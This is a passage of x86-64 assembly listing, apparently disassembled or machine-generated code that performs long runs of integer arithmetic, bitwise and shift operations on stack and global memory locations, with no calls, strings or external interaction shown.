mov dword [rsp + 0x4c94], eax
mov rax, qword [0x14019dc90]
mov ecx, dword [rsp + 0x4b74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x498c], eax
lea rax, [rsp + 0xf8c]
mov qword [rsp + 0xcd48], rax
mov rax, qword [rsp + 0xab28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc918]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bf56], al
mov rax, qword [0x14019dab8]
mov rcx, qword [rsp + 0xcb88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4c4c], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba18]
mov dword [rcx], eax
mov rax, qword [0x14019dcb8]
mov eax, dword [rax]
mov dword [rsp + 0x4c98], eax
mov rax, qword [rsp + 0xa778]
mov ecx, dword [rsp + 0x4a3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc6c0]
movzx eax, word [rax]
mov word [rsp + 0x135c], ax
movzx eax, byte [rsp + 0x18b]
mov rcx, qword [rsp + 0xc078]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x25a], al
mov eax, dword [rsp + 0x4200]
mov dword [rsp + 0x4c9c], eax
mov rax, qword [rsp + 0xcc28]
mov ecx, dword [rsp + 0x3e8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4768], eax
mov rax, qword [rsp + 0xc3d8]
movsx eax, byte [rax]
movsx ecx, byte [0x14019d795]
or eax, ecx
mov rcx, qword [0x14019d9d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xac20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
shl eax, cl
mov word [rsp + 0x1058], ax
lea rax, [rsp + 0xbdc]
mov qword [rsp + 0xcd50], rax
movzx eax, byte [rsp + 0x201]
mov rcx, qword [0x14019dd88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1a6], al
mov eax, dword [rsp + 0x44cc]
mov dword [rsp + 0x4ca0], eax
mov eax, dword [rsp + 0x44cc]
mov rcx, qword [rsp + 0xbec8]
mov qword [rsp + 0xcd58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd58]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4be0], eax
mov rax, qword [rsp + 0xcc28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c6c], eax
mov rax, qword [rsp + 0xcb50]
mov eax, dword [rax]
mov dword [rsp + 0x4ca4], eax
mov eax, dword [rsp + 0x4638]
mov ecx, dword [rsp + 0x462c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4b8]
mov dword [rcx], eax
lea rax, [rsp + 0x1254]
mov qword [rsp + 0xcd60], rax
lea rax, [rsp + 0x1b1]
mov qword [0x14019ded0], rax
mov rax, qword [rsp + 0xacf8]
mov ecx, dword [rsp + 0x48b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x45ac], eax
mov rax, qword [rsp + 0xaa08]
mov rcx, qword [0x14019dd98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaad8]
mov ecx, dword [rsp + 0x447c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3590], eax
mov rax, qword [rsp + 0xb8c8]
mov rcx, qword [rsp + 0xb3a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa798]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1064]
mov word [rsp + 0x1360], ax
mov rax, qword [rsp + 0xb0b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x231]
add eax, ecx
mov rcx, qword [rsp + 0xb258]
mov byte [rcx], al
movsx eax, word [rsp + 0xf20]
movsx ecx, word [0x14019bf04]
sub eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov word [rcx], ax
lea rax, [rsp + 0x214]
mov qword [rsp + 0xcd68], rax
mov eax, dword [rsp + 0x49a8]
mov ecx, dword [rsp + 0x4a28]
add ecx, eax
mov eax, ecx
mov dword [0x14019db28], eax
mov rax, qword [rsp + 0xc518]
mov ecx, dword [0x14019c020]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb8a8]
mov dword [rcx], eax
lea rax, [rsp + 0x156]
mov qword [rsp + 0xcd70], rax
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1124]
shl eax, cl
mov rcx, qword [rsp + 0xc968]
mov word [rcx], ax
lea rax, [rsp + 0x482c]
mov qword [rsp + 0xcd78], rax
mov eax, dword [rsp + 0x4148]
mov ecx, dword [rsp + 0x3348]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb438]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46ac]
mov rcx, qword [rsp + 0xb608]
mov qword [rsp + 0xcd80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x48e4], eax
lea rax, [rsp + 0x4174]
mov qword [rsp + 0xcd88], rax
mov rax, qword [0x14019d9f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc6c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xcab0]
mov byte [rcx], al
lea rax, [rsp + 0xfcc]
mov qword [0x14019ded8], rax
mov rax, qword [rsp + 0xab50]
mov eax, dword [rax]
mov dword [rsp + 0x4ca8], eax
mov rax, qword [rsp + 0xaa10]
mov rcx, qword [rsp + 0xbb80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc930]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb410]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44a0], eax
mov eax, dword [rsp + 0x3d1c]
mov dword [rsp + 0x4cac], eax
mov rax, qword [0x14019d8a8]
mov rcx, qword [rsp + 0xa8f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4c34], eax
mov rax, qword [rsp + 0xc4d8]
movzx eax, word [rax]
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0xbb30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc8e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fd], al
mov rax, qword [0x14019db00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb698]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa780]
mov byte [rcx], al
mov rax, qword [rsp + 0xc110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f4]
sub eax, ecx
mov word [0x14019c024], ax
lea rax, [rsp + 0x4130]
mov qword [rsp + 0xcd90], rax
mov eax, dword [rsp + 0x486c]
mov ecx, dword [rsp + 0x47a8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb278]
mov dword [rcx], eax
movzx eax, word [rsp + 0x12dc]
mov word [rsp + 0x1368], ax
mov rax, qword [rsp + 0xc068]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ad]
add eax, ecx
mov byte [rsp + 0x1b5], al
lea rax, [0x14019bfe8]
mov qword [rsp + 0xcd98], rax
mov rax, qword [rsp + 0xa758]
mov ecx, dword [rsp + 0x4a28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xba68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc928]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4834]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4998], eax
mov eax, dword [rsp + 0x4b18]
mov dword [rsp + 0x4cb0], eax
lea rax, [rsp + 0x258]
mov qword [0x14019dee0], rax
movzx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0xaee0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc440]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f34]
mov dword [rsp + 0x4cb4], eax
mov rax, qword [rsp + 0xb0c0]
mov ecx, dword [rsp + 0x3460]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc340]
mov dword [rcx], eax
movsx eax, word [rsp + 0xee0]
mov rcx, qword [rsp + 0xbd80]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf74], ax
lea rax, [0x14019bf66]
mov qword [rsp + 0xcda0], rax
movzx eax, byte [rsp + 0x1b2]
movzx ecx, byte [rsp + 0x1c2]
sar eax, cl
mov rcx, qword [rsp + 0xace8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
mov word [rsp + 0x136c], ax
mov eax, dword [rsp + 0x4350]
mov ecx, dword [rsp + 0x3df8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbeb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc580]
mov rcx, qword [rsp + 0xba18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019c034], eax
mov eax, dword [rsp + 0x3a98]
mov ecx, dword [rsp + 0x4808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e4c], eax
mov rax, qword [rsp + 0xc7c0]
mov rcx, qword [rsp + 0xc278]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3bfc], eax
mov rax, qword [rsp + 0xc108]
mov rcx, qword [rsp + 0xa8f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb000]
mov dword [rcx], eax
movzx eax, word [0x14019dae8]
mov word [rsp + 0x1370], ax
movzx eax, byte [rsp + 0x154]
mov rcx, qword [rsp + 0xaee8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xabe8]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4708], eax
lea rax, [rsp + 0x4474]
mov qword [rsp + 0xcda8], rax
mov rax, qword [rsp + 0xca00]
mov ecx, dword [rsp + 0x4b68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4bc4], eax
mov rax, qword [rsp + 0xaf18]
mov eax, dword [rax]
mov dword [0x14019dee8], eax
mov rax, qword [rsp + 0xaee8]
movzx eax, byte [rax]
mov byte [rsp + 0x27a], al
movzx eax, word [rsp + 0x10b4]
mov rcx, qword [rsp + 0xb828]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb520]
mov word [rcx], ax
mov rax, qword [rsp + 0xafa8]
movzx eax, byte [rax]
mov byte [rsp + 0x27b], al
mov rax, qword [rsp + 0xb0a0]
movsx eax, word [rax]
mov rcx, qword [0x14019de10]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc388]
mov word [rcx], ax
mov rax, qword [rsp + 0xc310]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb458]
mov qword [rsp + 0xcdb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44f8], eax
lea rax, [rsp + 0x45b0]
mov qword [rsp + 0xcdb8], rax
mov rax, qword [rsp + 0xb9c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc608]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1274], ax
mov rax, qword [rsp + 0xc788]
movzx eax, byte [rax]
mov byte [rsp + 0x27c], al
mov rax, qword [rsp + 0xcb88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc0d0]
mov qword [rsp + 0xcdc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdc0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [0x14019d9e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbcc0]
mov rcx, qword [0x14019dd20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4738], eax
mov eax, dword [rsp + 0x41a0]
mov ecx, dword [rsp + 0x467c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d74], eax
mov eax, dword [rsp + 0x4a10]
mov dword [rsp + 0x4cb8], eax
movzx eax, byte [rsp + 0x23a]
movzx ecx, byte [0x14019bf6f]
sub eax, ecx
mov byte [rsp + 0x158], al
lea rax, [rsp + 0xfe8]
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xb7c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc348]
mov rcx, qword [rsp + 0xcd28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4448], eax
mov eax, dword [rsp + 0x4658]
mov dword [rsp + 0x4cbc], eax
lea rax, [rsp + 0x3e8c]
mov qword [0x14019def0], rax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [0x14019dcc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb4e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9e0]
movzx eax, byte [rax]
mov byte [rsp + 0x27d], al
movsx eax, word [rsp + 0x1054]
mov rcx, qword [rsp + 0xb088]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0xb5b0]
movzx eax, byte [rax]
mov byte [rsp + 0x27e], al
movzx eax, word [0x14019de30]
movzx ecx, word [rsp + 0x1000]
add eax, ecx
mov rcx, qword [rsp + 0xc3b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41f0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa778]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3388]
mov ecx, dword [rsp + 0x38a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3374], eax
mov rax, qword [rsp + 0xc468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xccf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb708]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1150]
sar eax, cl
mov rcx, qword [0x14019d968]
mov word [rcx], ax
mov rax, qword [rsp + 0xb858]
mov eax, dword [rax]
mov dword [rsp + 0x4cc0], eax
mov eax, dword [rsp + 0x4818]
movzx ecx, al
mov eax, dword [rsp + 0x4b6c]
shl eax, cl
mov dword [rsp + 0x4530], eax
mov rax, qword [0x14019d848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4928]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4568], eax
lea rax, [rsp + 0x44e4]
mov qword [rsp + 0xcdd0], rax
movzx eax, byte [rsp + 0x26b]
mov rcx, qword [rsp + 0xad28]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc4a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb850]
movzx eax, word [rax]
mov word [rsp + 0x1374], ax
mov rax, qword [rsp + 0xb6f8]
mov rcx, qword [rsp + 0xc9d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49d8], eax
mov rax, qword [rsp + 0xac68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4aa8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4330], eax
lea rax, [rsp + 0xd44]
mov qword [0x14019def8], rax
movzx eax, byte [0x14019bf2b]
mov byte [rsp + 0x27f], al
mov rax, qword [rsp + 0xc4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12fc]
sub eax, ecx
mov word [rsp + 0x1160], ax
mov rax, qword [rsp + 0xb0c8]
movzx eax, byte [rax]
mov byte [rsp + 0x280], al
mov eax, dword [rsp + 0x3f5c]
mov ecx, dword [rsp + 0x4468]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb88]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc578]
mov ecx, dword [rsp + 0x391c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4128], eax
mov rax, qword [rsp + 0xb8a8]
mov eax, dword [rax]
mov dword [rsp + 0x4cc4], eax
mov rax, qword [rsp + 0xc000]
mov ecx, dword [rsp + 0x4380]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc570]
mov dword [rcx], eax
lea rax, [rsp + 0x42b8]
mov qword [rsp + 0xcdd8], rax
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0xb520]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc8b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac78]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bfcb], al
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov dword [rsp + 0x4cc8], eax
mov rax, qword [rsp + 0xc9c0]
mov ecx, dword [rsp + 0x49e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [0x14019d948]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3578], eax
lea rax, [rsp + 0x4524]
mov qword [rsp + 0xcde0], rax
movzx eax, byte [rsp + 0x1d8]
mov rcx, qword [rsp + 0xbcc8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc918]
mov byte [rcx], al
movzx eax, word [rsp + 0xf2c]
mov word [rsp + 0x1378], ax
movsx eax, byte [rsp + 0x1b3]
movsx ecx, byte [rsp + 0x16d]
xor eax, ecx
mov byte [rsp + 0x275], al
movsx eax, word [rsp + 0x1138]
mov rcx, qword [0x14019def8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbd20]
mov word [rcx], ax
mov eax, dword [rsp + 0x4a18]
mov ecx, dword [rsp + 0x3acc]
or ecx, eax
mov eax, ecx
mov dword [0x14019bffc], eax
lea rax, [rsp + 0x4b80]
mov qword [rsp + 0xcde8], rax
movzx eax, word [rsp + 0x1110]
mov rcx, qword [0x14019db10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1338], ax
movzx eax, byte [rsp + 0x19d]
mov byte [rsp + 0x281], al
mov eax, dword [rsp + 0x48b4]
mov ecx, dword [rsp + 0x4144]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcc28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2d8]
mov ecx, dword [0x14019db70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcad8]
mov dword [rcx], eax
lea rax, [rsp + 0x4000]
mov qword [rsp + 0xcdf0], rax
mov rax, qword [rsp + 0xb590]
mov rcx, qword [rsp + 0xccd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4784], eax
mov rax, qword [rsp + 0xc440]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb94]
sub eax, ecx
mov word [rsp + 0xe54], ax
movzx eax, byte [rsp + 0x26d]
mov rcx, qword [rsp + 0xa9a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019d858]
mov byte [rcx], al
mov rax, qword [rsp + 0xbfa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a08], eax
mov rax, qword [rsp + 0xb1e8]
mov ecx, dword [rsp + 0x42e0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov dword [rsp + 0x4ccc], eax
mov eax, dword [0x14019c068]
mov ecx, dword [rsp + 0x3e18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
lea rax, [rsp + 0x45c4]
mov qword [rsp + 0xcdf8], rax
mov rax, qword [rsp + 0xc3d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x278]
xor eax, ecx
mov byte [rsp + 0xf9], al
movzx eax, word [rsp + 0xc48]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xaf40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa990]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc110]
mov word [rcx], ax
mov rax, qword [rsp + 0xa970]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x183]
sar eax, cl
mov byte [0x14019bfd2], al
mov eax, dword [rsp + 0x4898]
mov ecx, dword [rsp + 0x43d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x33f0]
mov dword [rsp + 0x4cd0], eax
mov rax, qword [rsp + 0xbaa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcd30]
mov word [rcx], ax
lea rax, [rsp + 0xb1]
mov qword [rsp + 0xce00], rax
mov rax, qword [rsp + 0xafb0]
mov ecx, dword [rsp + 0x4adc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xc0f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8a8]
mov rcx, qword [rsp + 0xacc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d3c], eax
lea rax, [0x14019bf78]
mov qword [rsp + 0xce08], rax
mov rax, qword [rsp + 0xade8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4224]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc0f8]
mov dword [rcx], eax
lea rax, [rsp + 0x19c]
mov qword [0x14019df00], rax
mov rax, qword [rsp + 0xc330]
movzx eax, word [rax]
mov word [rsp + 0x1380], ax
mov rax, qword [0x14019d820]
mov ecx, dword [rsp + 0x43dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d38], eax
mov rax, qword [rsp + 0xc7b0]
mov rcx, qword [rsp + 0xbf20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4c70], eax
mov rax, qword [rsp + 0xaa98]
movzx eax, byte [rax]
mov byte [rsp + 0x282], al
mov rax, qword [rsp + 0xa658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc538]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc820]
mov word [rcx], ax
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0xa9b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xad18]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc5f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov dword [rsp + 0x4cd4], eax
mov rax, qword [rsp + 0xb848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4708]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dcc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa948]
mov ecx, dword [rsp + 0x4b80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4410], eax
mov eax, dword [rsp + 0x4194]
mov rcx, qword [rsp + 0xc868]
mov qword [rsp + 0xce10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa3a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xccd0]
mov eax, dword [rax]
mov dword [rsp + 0x4cd8], eax
mov rax, qword [rsp + 0xb4d8]
movzx eax, word [rax]
mov rcx, qword [0x14019daa8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xb320]
mov word [rcx], ax
lea rax, [rsp + 0x19d]
mov qword [rsp + 0xce18], rax
mov rax, qword [rsp + 0xb768]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3af4]
sar eax, cl
mov rcx, qword [rsp + 0xb6e0]
mov dword [rcx], eax
mov eax, dword [0x14019bf34]
mov ecx, dword [rsp + 0x4228]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb550]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x415c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b54], eax
mov rax, qword [rsp + 0xbff0]
mov ecx, dword [rsp + 0x43b8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14019c078], eax
movzx eax, word [rsp + 0x135c]
mov rcx, qword [rsp + 0xc848]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x101c], ax
movzx eax, byte [rsp + 0x1ac]
mov byte [rsp + 0x283], al
movsx eax, byte [rsp + 0xa8]
movsx ecx, byte [0x14019bf1e]
sub eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xae88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xaed8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc2b0]
mov word [rcx], ax
lea rax, [rsp + 0x4070]
mov qword [rsp + 0xce20], rax
mov rax, qword [rsp + 0xbc08]
mov ecx, dword [0x14019c070]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47f0], eax
lea rax, [rsp + 0xf98]
mov qword [rsp + 0xce28], rax
movzx eax, byte [rsp + 0x24f]
mov rcx, qword [rsp + 0xb698]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc590]
mov byte [rcx], al
mov rax, qword [rsp + 0xb190]
mov rcx, qword [rsp + 0xb250]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c094], eax
mov rax, qword [rsp + 0xabf0]
mov ecx, dword [rsp + 0x4c50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4cc4], eax
lea rax, [rsp + 0x49ec]
mov qword [rsp + 0xce30], rax
mov rax, qword [rsp + 0xb118]
mov rcx, qword [0x14019de18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4234], eax
lea rax, [rsp + 0x222]
mov qword [rsp + 0xce38], rax
mov rax, qword [rsp + 0xaec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb34]
sub eax, ecx
mov rcx, qword [rsp + 0xcae8]
mov word [rcx], ax
lea rax, [rsp + 0x4bc4]
mov qword [rsp + 0xce40], rax
mov rax, qword [rsp + 0xc028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45d4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa920]
mov dword [rcx], eax
mov eax, dword [rsp + 0x45d0]
mov rcx, qword [rsp + 0xcc90]
mov qword [rsp + 0xce48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc008]
mov dword [rcx], eax
lea rax, [rsp + 0x4754]
mov qword [0x14019df08], rax
mov rax, qword [rsp + 0xb938]
mov eax, dword [rax]
mov dword [rsp + 0x4cdc], eax
movsx eax, word [rsp + 0x11b8]
movsx ecx, word [rsp + 0x1164]
sar eax, cl
mov word [rsp + 0x12e8], ax
lea rax, [rsp + 0x1d3]
mov qword [rsp + 0xce50], rax
mov rax, qword [rsp + 0xc3b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
or eax, ecx
mov word [rsp + 0xe6c], ax
movzx eax, byte [rsp + 0x281]
movzx ecx, byte [rsp + 0x24d]
and eax, ecx
mov rcx, qword [rsp + 0xac60]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf60]
mov eax, dword [rax]
mov dword [rsp + 0x4ce0], eax
mov rax, qword [0x14019dea0]
mov rcx, qword [rsp + 0xbed0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49c0], eax
mov rax, qword [rsp + 0xc430]
movzx eax, byte [rax]
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
movzx ecx, word [0x14019bfd4]
sub eax, ecx
mov word [0x14019bfb0], ax
mov eax, dword [rsp + 0x487c]
mov ecx, dword [rsp + 0x3c00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4814], eax
mov rax, qword [rsp + 0xbc48]
mov rcx, qword [rsp + 0xb230]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b74], eax
lea rax, [0x14019bf2c]
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x4774]
mov ecx, dword [rsp + 0x391c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cb4], eax
mov rax, qword [rsp + 0xb898]
movzx eax, word [rax]
